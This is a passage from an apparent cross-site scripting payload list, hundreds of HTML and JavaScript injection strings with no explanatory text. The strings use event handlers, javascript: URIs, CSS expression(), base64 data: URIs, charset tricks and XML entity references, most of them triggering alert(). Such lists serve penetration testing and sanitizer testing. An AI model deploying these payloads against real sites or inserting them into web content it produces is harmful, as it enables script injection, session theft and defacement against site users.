contenteditable>drag me</div><video ondrop=alert(1) contenteditable>drop here</video> <div draggable="true" contenteditable>drag me</div><wbr ondragover=alert(1) contenteditable>drop here</wbr> <div draggable="true" contenteditable>drag me</div><wbr ondrop=alert(1) contenteditable>drop here</wbr> <div draggable="true" contenteditable>drag me</div><xmp ondragover=alert(1) contenteditable>drop here</xmp> <div draggable="true" contenteditable>drag me</div><xmp ondrop=alert(1) contenteditable>drop here</xmp> <div draggable="true" ondrag="alert(1)">test</div> <div draggable="true" ondragend="alert(1)">test</div> <div draggable="true" ondragenter="alert(1)">test</div> <div draggable="true" ondragleave="alert(1)">test</div> <div draggable="true" ondragstart="alert(1)">test</div> <div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'`-->]]>]</div><div id="10"><video poster=javascript:alert(10)//></video>//["'`-->]]>]</div><div id="11"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'`-->]]>]</div><div id="12"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'`-->]]>]</div><div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'`-->]]>]</div><div id="14"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'`-->]]>]</div><div id="15"><script>({0:#0=alert/#0#/#0#(0)})</script>//["'`-->]]>]</div><div id="16">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//["'`-->]]>]</div><div id="17"><?xml-stylesheet href="javascript:alert(17)"?><root/>//["'`-->]]>]</div><div id="18"><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>//["'`-->]]>]</div><div id="19"><meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾//["'`-->]]>]</div><div id="20"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'`-->]]>]</div><div id="21"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'`-->]]>]</div><div id="22"><input onblur=focus() autofocus><input>//["'`-->]]>]</div><div id="23"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'`-->]]>]</div><div id="24">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(24)>`>//["'`-->]]>]</div><div id="25"><script src="#">{alert(25)}</script>;1//["'`-->]]>]</div><div id="26">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]</div><div id="27"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//["'`-->]]>]</div> <div id="28">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(28)>>//["'`-->]]>]</div> <div id="29"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//["'`-->]]>]</div><div id="30"><style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'`-->]]>]</div><div id="31"><frameset onload=alert(31)>//["'`-->]]>]</div><div id="32"><table background="javascript:alert(32)"></table>//["'`-->]]>]</div><div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'`-->]]>]</div><div id="34">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'`-->]]>]</div><div id="35">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'`-->]]>]</div><div id="36"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'`-->]]>]</div><div id="37"><!--<img src="--><img src=x onerror=alert(37)//">//["'`-->]]>]</div><div id="38"><comment><img src="</comment><img src=x onerror=alert(38)//">//["'`-->]]>]</div> <div id="39"><!-- up to Opera 11.52, FF 3.6.28 --> <div id="40"><style><img src="</style><img src=x onerror=alert(40)//">//["'`-->]]>]</div> <div id="41"><li style=list-style:url() onerror=alert(41)></li> <div id="42"><head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'`-->]]>]</div> <div id="43"><?xml version="1.0" standalone="no"?> <div id="44"><style>*[{}@import'test.css?]{color: green;}</style>X//["'`-->]]>]</div><div id="45"><div style="font-family:'foo[a];color:red;';">XXX</div>//["'`-->]]>]</div><div id="46"><div style="font-family:foo}color=red;">XXX</div>//["'`-->]]>]</div><div id="47"><svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'`-->]]>]</div><div id="48"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'`-->]]>]</div><div id="49"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'`-->]]>]</div><div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'`-->]]>]</div><div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'`-->]]>]</div><div id="52"><x style="behavior:url(test.sct)">//["'`-->]]>]</div> <div id="53"><xml id="xss" src="test.htc"></xml> <div id="54"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//["'`-->]]>]</div><div id="55"><video><source onerror="alert(55)">//["'`-->]]>]</div><div id="56"><video onerror="alert(56)"><source></source></video>//["'`-->]]>]</div><div id="57"><b <script>alert(57)//</script>0</script></b>//["'`-->]]>]</div><div id="58"><b><script<b></b><alert(58)</script </b></b>//["'`-->]]>]</div><div id="59"><div id="div1"><input value="``onmouseover=alert(59)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'`-->]]>]</div><div id="60"><div style="[a]color[b]:[c]red">XXX</div>//["'`-->]]>]</div> <div id="61"><div style="\63 \06f \0006c \00006F \R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>//["'`-->]]>]</div> <div id="62"><!-- IE 6-8 --> <div id="63"><embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF <div id="64"><!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["'`-->]]>]</div><div id="65"><svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'`-->]]>]</div> <div id="66"><?xml version="1.0"?> <div id="67"><!DOCTYPE x [ <div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <div id="69"><card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>//["'`-->]]>]</div><div id="70"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//["'`-->]]>]</div><div id="71"><// style=x:expression\28alert(71)\29>//["'`-->]]>]</div><div id="72"><form><button formaction="javascript:alert(72)">X</button>//["'`-->]]>]</div><div id="73"><event-source src="event.php" onload="alert(73)">//["'`-->]]>]</div><div id="74"><a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'`-->]]>]</div><div id="75"><script<{alert(75)}/></script </>//["'`-->]]>]</div><div id="76"><?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'`-->]]>]</div><div id="77"><?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'`-->]]>]</div><div id="78"><?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'`-->]]>]</div><div id="79"><object allowscriptaccess="always" data="test.swf"></object>//["'`-->]]>]</div><div id="80"><style>*{x:ｅｘｐｒｅｓｓｉｏｎ(alert(80))}</style>//["'`-->]]>]</div><div id="81"><x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'`-->]]>]</div><div id="82"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'`-->]]>]</div> <div id="83"><x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>//["'`-->]]>]</div> <div id="84"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'`-->]]>]</div><div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'`-->]]>]</div><div id="86"><body oninput=alert(86)><input autofocus>//["'`-->]]>]</div> <div id="87"><svg xmlns="http://www.w3.org/2000/svg"> <div id="88"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <div id="89"><svg xmlns="http://www.w3.org/2000/svg"> <div id="90"><!-- Up to Opera 10.63 --> <div id="91">[A] <div id="92"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="93"><div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>//["'`-->]]>]</div> <div id="94"><svg xmlns="http://www.w3.org/2000/svg"> <div id="95"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <div id="96"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe> <div id="97"><!-- IE 5-9 --> <div id="98"><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div> <div id="99">XXX<style> <div id="100"><img[a][b]src=x[d]onerror[c]=[e]"alert(100)">//["'`-->]]>]</div><div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>//["'`-->]]>]</div><div id="102"><img src="x` `<script>alert(102)</script>"` `>//["'`-->]]>]</div><div id="103"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'`-->]]>]</div> <div id="104"><svg xmlns="http://www.w3.org/2000/svg" id="foo"> <div id="105"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'`-->]]>]</div><div id="106"><img src onerror /" '"= alt=alert(106)//">//["'`-->]]>]</div><div id="107"><title onpropertychange=alert(107)></title><title title=></title>//["'`-->]]>]</div> <div id="108"><!-- IE 5-8 standards mode --> <div id="109"><svg xmlns="http://www.w3.org/2000/svg"> <div id="110"><svg xmlns="http://www.w3.org/2000/svg"> <div id="111"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div> <div id="113"><div id="x">XXX</div> <div id="114"><x style="background:url('x[a];color:red;/*')">XXX</x>//["'`-->]]>]</div> <div id="115"><!--[if]><script>alert(115)</script --> <div id="116"><div id="x">x</div> <div id="117"><a href="http://attacker.org"> <div id="118"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"> <div id="119"><iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe> <div id="120"><script> <div id="121"><html xmlns="http://www.w3.org/1999/xhtml" <div id="122"><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'`-->]]>]</div> <div id="123"><span class=foo>Some text</span> <div id="124"><script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10 <div id="125"><?xml version="1.0"?> <div id="126"><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <div id="127"><svg xmlns="http://www.w3.org/2000/svg" id="x"> <div id="128"><svg><style><img/src=x onerror=alert(128)// </b>//["'`-->]]>]</div> <div id="129"><svg> <div id="130"><math href="javascript:alert(130)">CLICKME</math> <div id="131"><b>drag and drop one of the following strings to the drop box:</b> <div id="132"><!doctype html> <div id="133"><!-- `<img/src=xx:xx onerror=alert(133)//--!>//["'`-->]]>]</div> <div id="134"><xmp> <div id="135"><?xml-stylesheet type="text/xsl" href="#" ?> <div id="136"><form action="" method="post"> <div id="137"><svg> <div id="138"><link rel="import" href="test.svg" />//["'`-->]]>]</div><div id="139"><iframe srcdoc="<img src=x:x onerror=alert(1)>" />//["'`-->]]>]</div>undefined <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> <div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>//["'`-->]]>]</div> <div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<img src=x:x onerror =javascript:alert(1)>"> <div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script> <div id=d><x xmlns="><iframe onload=alert(97)"></div> <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> <div id=d><x xmlns='"><iframe onload=alert(2)//'></div> <div id=x tabindex=1 onactivate=alert(1)></div> <div id=x tabindex=1 onbeforeactivate=alert(1)></div> <div id=x tabindex=1 onbeforedeactivate=alert(1)></div><input autofocus> <div id=x tabindex=1 ondeactivate=alert(1)></div><input id=y autofocus> <div id=x tabindex=1 onfocus=alert(1)></div> <div id=x tabindex=1 onfocusin=alert(1)></div> <div onactivate=alert('Xss') id=xss style=overflow:scroll> <div onbeforecopy="alert(1)" contenteditable>test</div> <div onbeforecut="alert(1)" contenteditable>test</div> <div onbeforepaste="alert(1)" contenteditable>test</div> <div onblur=alert(1) tabindex=1 id=x></div><input autofocus> <div onclick="alert(1)">test</div> <div oncontextmenu="alert(1)">test</div> <div oncopy="alert(1)" contenteditable>test</div> <div oncut="alert(1)" contenteditable>test</div> <div ondblclick="alert(1)">test</div> <div onfocus=alert('xx') id=xss style=display:table> <div onfocusout=alert(1) tabindex=1 id=x></div><input autofocus> <div onkeydown="alert(1)" contenteditable>test</div> <div onkeypress="alert(1)" contenteditable>test</div> <div onkeyup="alert(1)" contenteditable>test</div> <div onmousedown="alert(1)">test</div> <div onmouseenter="alert(1)">test</div> <div onmouseleave="alert(1)">test</div> <div onmousemove="alert(1)">test</div> <div onmouseout="alert(1)">test</div> <div onmouseover="alert(1)">test</div> <div onmouseover="document.vulnerable=true;"> <div onmouseover='alert(1)'>DIV</div> <div onmouseup="alert(1)">test</div> <div onpaste="alert(1)" contenteditable>test</div> <div style="background-image: url(javascript:document.vulnerable=true;);"> <div style="background:url(/f#oo/;color:red/*/foo.jpg);">X <div style="background:url(test5.svg)">PRESS ENTER</div>//["'`-->]]>]</div> <div style="behaviour: url([link to code]);"> <div style="binding: url([link to code]);"> <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla] <div style="font-family:'foo ;color:red;';">LOL <div style="font-family:'foo ;color:red;';">XXX <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X <div style="font-family:foo}color=red;">XXX <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>? <div style="width: expression(document.vulnerable=true;);"> <div style="x:expression((window.r==1)?'':eval('r=1; <div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button> <div style=content:url(%(svg)s)></div> <div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//["'`-->]]>]</div> <div style=content:url(test2.svg)></div> <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x <dl draggable="true" ondrag="alert(1)">test</dl> <dl draggable="true" ondragend="alert(1)">test</dl> <dl draggable="true" ondragenter="alert(1)">test</dl> <dl draggable="true" ondragleave="alert(1)">test</dl> <dl draggable="true" ondragstart="alert(1)">test</dl> <dl id=x tabindex=1 onactivate=alert(1)></dl> <dl id=x tabindex=1 onbeforeactivate=alert(1)></dl> <dl id=x tabindex=1 onbeforedeactivate=alert(1)></dl><input autofocus> <dl id=x tabindex=1 ondeactivate=alert(1)></dl><input id=y autofocus> <dl id=x tabindex=1 onfocus=alert(1)></dl> <dl id=x tabindex=1 onfocusin=alert(1)></dl> <dl onbeforecopy="alert(1)" contenteditable>test</dl> <dl onbeforecut="alert(1)" contenteditable>test</dl> <dl onbeforepaste="alert(1)" contenteditable>test</dl> <dl onblur=alert(1) tabindex=1 id=x></dl><input autofocus> <dl onclick="alert(1)">test</dl> <dl oncontextmenu="alert(1)">test</dl> <dl oncopy="alert(1)" contenteditable>test</dl> <dl oncut="alert(1)" contenteditable>test</dl> <dl ondblclick="alert(1)">test</dl> <dl onfocusout=alert(1) tabindex=1 id=x></dl><input autofocus> <dl onkeydown="alert(1)" contenteditable>test</dl> <dl onkeypress="alert(1)" contenteditable>test</dl> <dl onkeyup="alert(1)" contenteditable>test</dl> <dl onmousedown="alert(1)">test</dl> <dl onmouseenter="alert(1)">test</dl> <dl onmouseleave="alert(1)">test</dl> <dl onmousemove="alert(1)">test</dl> <dl onmouseout="alert(1)">test</dl> <dl onmouseover="alert(1)">test</dl> <dl onmouseup="alert(1)">test</dl> <dl onpaste="alert(1)" contenteditable>test</dl> <dt draggable="true" ondrag="alert(1)">test</dt> <dt draggable="true" ondragend="alert(1)">test</dt> <dt draggable="true" ondragenter="alert(1)">test</dt> <dt draggable="true" ondragleave="alert(1)">test</dt> <dt draggable="true" ondragstart="alert(1)">test</dt> <dt id=x tabindex=1 onactivate=alert(1)></dt> <dt id=x tabindex=1 onbeforeactivate=alert(1)></dt> <dt id=x tabindex=1 onbeforedeactivate=alert(1)></dt><input autofocus> <dt id=x tabindex=1 ondeactivate=alert(1)></dt><input id=y autofocus> <dt id=x tabindex=1 onfocus=alert(1)></dt> <dt id=x tabindex=1 onfocusin=alert(1)></dt> <dt onbeforecopy="alert(1)" contenteditable>test</dt> <dt onbeforecut="alert(1)" contenteditable>test</dt> <dt onbeforepaste="alert(1)" contenteditable>test</dt> <dt onblur=alert(1) tabindex=1 id=x></dt><input autofocus> <dt onclick="alert(1)">test</dt> <dt oncontextmenu="alert(1)">test</dt> <dt oncopy="alert(1)" contenteditable>test</dt> <dt oncut="alert(1)" contenteditable>test</dt> <dt ondblclick="alert(1)">test</dt> <dt onfocusout=alert(1) tabindex=1 id=x></dt><input autofocus> <dt onkeydown="alert(1)" contenteditable>test</dt> <dt onkeypress="alert(1)" contenteditable>test</dt> <dt onkeyup="alert(1)" contenteditable>test</dt> <dt onmousedown="alert(1)">test</dt> <dt onmouseenter="alert(1)">test</dt> <dt onmouseleave="alert(1)">test</dt> <dt onmousemove="alert(1)">test</dt> <dt onmouseout="alert(1)">test</dt> <dt onmouseover="alert(1)">test</dt> <dt onmouseup="alert(1)">test</dt> <dt onpaste="alert(1)" contenteditable>test</dt> <element draggable="true" ondrag="alert(1)">test</element> <element draggable="true" ondragend="alert(1)">test</element> <element draggable="true" ondragenter="alert(1)">test</element> <element draggable="true" ondragleave="alert(1)">test</element> <element draggable="true" ondragstart="alert(1)">test</element> <element id=x tabindex=1 onactivate=alert(1)></element> <element id=x tabindex=1 onbeforeactivate=alert(1)></element> <element id=x tabindex=1 onbeforedeactivate=alert(1)></element><input autofocus> <element id=x tabindex=1 ondeactivate=alert(1)></element><input id=y autofocus> <element id=x tabindex=1 onfocus=alert(1)></element> <element id=x tabindex=1 onfocusin=alert(1)></element> <element onbeforecopy="alert(1)" contenteditable>test</element> <element onbeforecut="alert(1)" contenteditable>test</element> <element onbeforepaste="alert(1)" contenteditable>test</element> <element onblur=alert(1) tabindex=1 id=x></element><input autofocus> <element onclick="alert(1)">test</element> <element oncontextmenu="alert(1)">test</element> <element oncopy="alert(1)" contenteditable>test</element> <element oncut="alert(1)" contenteditable>test</element> <element ondblclick="alert(1)">test</element> <element onfocusout=alert(1) tabindex=1 id=x></element><input autofocus> <element onkeydown="alert(1)" contenteditable>test</element> <element onkeypress="alert(1)" contenteditable>test</element> <element onkeyup="alert(1)" contenteditable>test</element> <element onmousedown="alert(1)">test</element> <element onmouseenter="alert(1)">test</element> <element onmouseleave="alert(1)">test</element> <element onmousemove="alert(1)">test</element> <element onmouseout="alert(1)">test</element> <element onmouseover="alert(1)">test</element> <element onmouseup="alert(1)">test</element> <element onpaste="alert(1)" contenteditable>test</element> <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>? <embed code=%(scriptlet)s></embed> <embed code=javascript:javascript:alert(1);></embed> <embed draggable="true" ondrag="alert(1)">test</embed> <embed draggable="true" ondragend="alert(1)">test</embed> <embed draggable="true" ondragenter="alert(1)">test</embed> <embed draggable="true" ondragleave="alert(1)">test</embed> <embed draggable="true" ondragstart="alert(1)">test</embed> <embed id=x onfocus=alert(1) type=text/html> <embed id=x onfocusin=alert(1) type=text/html> <embed id=x tabindex=1 onactivate=alert(1)></embed> <embed id=x tabindex=1 onbeforeactivate=alert(1)></embed> <embed id=x tabindex=1 onbeforedeactivate=alert(1)></embed><input autofocus> <embed id=x tabindex=1 ondeactivate=alert(1)></embed><input id=y autofocus> <embed onbeforecopy="alert(1)" contenteditable>test</embed> <embed onbeforecut="alert(1)" contenteditable>test</embed> <embed onbeforepaste="alert(1)" contenteditable>test</embed> <embed onblur=alert(1) tabindex=1 id=x></embed><input autofocus> <embed onclick="alert(1)">test</embed> <embed oncontextmenu="alert(1)">test</embed> <embed oncopy="alert(1)" contenteditable>test</embed> <embed oncut="alert(1)" contenteditable>test</embed> <embed ondblclick="alert(1)">test</embed> <embed onfocusout=alert(1) tabindex=1 id=x></embed><input autofocus> <embed onkeydown="alert(1)" contenteditable>test</embed> <embed onkeypress="alert(1)" contenteditable>test</embed> <embed onkeyup="alert(1)" contenteditable>test</embed> <embed onmousedown="alert(1)">test</embed> <embed onmouseenter="alert(1)">test</embed> <embed onmouseleave="alert(1)">test</embed> <embed onmousemove="alert(1)">test</embed> <embed onmouseout="alert(1)">test</embed> <embed onmouseover="alert(1)">test</embed> <embed onmouseup="alert(1)">test</embed> <embed onpaste="alert(1)" contenteditable>test</embed> <embed src=1 onerror=alert(1) type=image/gif> <embed src="data:text/html;base64,%(base64)s"> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ? <embed src="javascript:alert(1)"> <embed src=%(jscript)s></embed> <embed src=/ onload=alert(1)> <embed src=javascript:alert(1)> <embed type="image" src=%(scriptlet)s></embed> <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed> <em draggable="true" ondrag="alert(1)">test</em> <em draggable="true" ondragend="alert(1)">test</em> <em draggable="true" ondragenter="alert(1)">test</em> <em draggable="true" ondragleave="alert(1)">test</em> <em draggable="true" ondragstart="alert(1)">test</em> <em id=x tabindex=1 onactivate=alert(1)></em> <em id=x tabindex=1 onbeforeactivate=alert(1)></em> <em id=x tabindex=1 onbeforedeactivate=alert(1)></em><input autofocus> <em id=x tabindex=1 ondeactivate=alert(1)></em><input id=y autofocus> <em id=x tabindex=1 onfocus=alert(1)></em> <em id=x tabindex=1 onfocusin=alert(1)></em> <em onbeforecopy="alert(1)" contenteditable>test</em> <em onbeforecut="alert(1)" contenteditable>test</em> <em onbeforepaste="alert(1)" contenteditable>test</em> <em onblur=alert(1) tabindex=1 id=x></em><input autofocus> <em onclick="alert(1)">test</em> <em oncontextmenu="alert(1)">test</em> <em oncopy="alert(1)" contenteditable>test</em> <em oncut="alert(1)" contenteditable>test</em> <em ondblclick="alert(1)">test</em> <em onfocusout=alert(1) tabindex=1 id=x></em><input autofocus> <em onkeydown="alert(1)" contenteditable>test</em> <em onkeypress="alert(1)" contenteditable>test</em> <em onkeyup="alert(1)" contenteditable>test</em> <em onmousedown="alert(1)">test</em> <em onmouseenter="alert(1)">test</em> <em onmouseleave="alert(1)">test</em> <em onmousemove="alert(1)">test</em> <em onmouseout="alert(1)">test</em> <em onmouseover="alert(1)">test</em> <em onmouseup="alert(1)">test</em> <em onpaste="alert(1)" contenteditable>test</em> <eval>new ActiveXObject('htmlfile').parentWindow.alert(135)</eval> <event-source src="%(event)s" onload="javascript:alert(1)"> <feImage> <fieldset draggable="true" ondrag="alert(1)">test</fieldset> <fieldset draggable="true" ondragend="alert(1)">test</fieldset> <fieldset draggable="true" ondragenter="alert(1)">test</fieldset> <fieldset draggable="true" ondragleave="alert(1)">test</fieldset> <fieldset draggable="true" ondragstart="alert(1)">test</fieldset> <fieldset id=x tabindex=1 onactivate=alert(1)></fieldset> <fieldset id=x tabindex=1 onbeforeactivate=alert(1)></fieldset> <fieldset id=x tabindex=1 onbeforedeactivate=alert(1)></fieldset><input autofocus> <fieldset id=x tabindex=1 ondeactivate=alert(1)></fieldset><input id=y autofocus> <fieldset id=x tabindex=1 onfocus=alert(1)></fieldset> <fieldset id=x tabindex=1 onfocusin=alert(1)></fieldset> <fieldset onbeforecopy="alert(1)" contenteditable>test</fieldset> <fieldset onbeforecut="alert(1)" contenteditable>test</fieldset> <fieldset onbeforepaste="alert(1)" contenteditable>test</fieldset> <fieldset onblur=alert(1) tabindex=1 id=x></fieldset><input autofocus> <fieldset onclick="alert(1)">test</fieldset> <fieldset oncontextmenu="alert(1)">test</fieldset> <fieldset oncopy="alert(1)" contenteditable>test</fieldset> <fieldset oncut="alert(1)" contenteditable>test</fieldset> <fieldset ondblclick="alert(1)">test</fieldset> <fieldset onfocusout=alert(1) tabindex=1 id=x></fieldset><input autofocus> <fieldset onkeydown="alert(1)" contenteditable>test</fieldset> <fieldset onkeypress="alert(1)" contenteditable>test</fieldset> <fieldset onkeyup="alert(1)" contenteditable>test</fieldset> <fieldset onmousedown="alert(1)">test</fieldset> <fieldset onmouseenter="alert(1)">test</fieldset> <fieldset onmouseleave="alert(1)">test</fieldset> <fieldset onmousemove="alert(1)">test</fieldset> <fieldset onmouseout="alert(1)">test</fieldset> <fieldset onmouseover="alert(1)">test</fieldset> <fieldset onmouseup="alert(1)">test</fieldset> <fieldset onpaste="alert(1)" contenteditable>test</fieldset> <figcaption draggable="true" ondrag="alert(1)">test</figcaption> <figcaption draggable="true" ondragend="alert(1)">test</figcaption> <figcaption draggable="true" ondragenter="alert(1)">test</figcaption> <figcaption draggable="true" ondragleave="alert(1)">test</figcaption> <figcaption draggable="true" ondragstart="alert(1)">test</figcaption> <figcaption id=x tabindex=1 onactivate=alert(1)></figcaption> <figcaption id=x tabindex=1 onbeforeactivate=alert(1)></figcaption> <figcaption id=x tabindex=1 onbeforedeactivate=alert(1)></figcaption><input autofocus> <figcaption id=x tabindex=1 ondeactivate=alert(1)></figcaption><input id=y autofocus> <figcaption id=x tabindex=1 onfocus=alert(1)></figcaption> <figcaption id=x tabindex=1 onfocusin=alert(1)></figcaption> <figcaption onbeforecopy="alert(1)" contenteditable>test</figcaption> <figcaption onbeforecut="alert(1)" contenteditable>test</figcaption> <figcaption onbeforepaste="alert(1)" contenteditable>test</figcaption> <figcaption onblur=alert(1) tabindex=1 id=x></figcaption><input autofocus> <figcaption onclick="alert(1)">test</figcaption> <figcaption oncontextmenu="alert(1)">test</figcaption> <figcaption oncopy="alert(1)" 